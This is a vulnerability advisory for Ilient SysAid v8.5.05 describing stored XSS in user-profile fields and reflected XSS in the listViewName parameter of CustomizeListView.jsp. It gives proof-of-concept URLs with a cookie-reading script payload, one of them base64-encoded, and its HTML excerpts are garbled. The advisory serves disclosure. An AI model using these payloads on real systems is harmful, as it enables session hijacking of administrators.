VULNERABILITY DETAILS

A Vulnerability Laboratory Researcher discovered multiple persistent and non-persistent Web Vulnerabilities in Ilients SysAid v8.5.05.

Multiple non-persistent and persistent input validation vulnerabilities are detected on Ilient SysAid v8.5.05 and below. The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent) and temporarily on the user side (non-persistent). Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation.

1.1 Vulnerable Module(s): (Persistent)

The security risk of the vulnerabilities are estimated as medium(-).

PROOF OF CONCEPT

The vulnerabilities can be exploited by remote attacker with required user inter aciton. For demonstration or reproduce …

1.1 - Persistent All fields in the user-profile are vulnerable which are displayed somewhere on the frontend, like: Phone, Email or Name To exploit the issue a user just need to include his own script code on his profile section & start a inter action.

Persistent(Frontpage):

<tablewidth="100%"cellspacing="5"cellpadding="5"border="0"class="Maxed">
<tbody><trvalign="top"><tdwidth="50%"style="padding:10px;"id="Container_1"><tableclass="MaxedContainerContainer_1">
<tbody><tr>
<tdclass="Container_Header">
<table>
<tbody><tr>
<tdclass="Container_Header_First">

</tr>
</tbody></table></td>
</tr>
<tr>

</table></div></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></body></html>

1.2 Non-persistent XSS:

http://localhost:8080/sysaid/CustomizeListView.jsp?listName=Assets&listViewName=<script>alert(document.cookie)</script>

or base64 encoded:

http://localhost:8080/sysaid/CustomizeListView.jsp?listName=Service%20Requests&srType=1&listViewName=@BASE64@PHNjcmlwdD5hb
GVydChlc2NhcGUoZG9jdW1lbnQuY29va2llKSk8L3NjcmlwdD4=

Non-persistent(listViewName):

<tdcolspan="6"class="Frame_Body_Center">
<tablewidth="100%"border="0"class="Maxed">
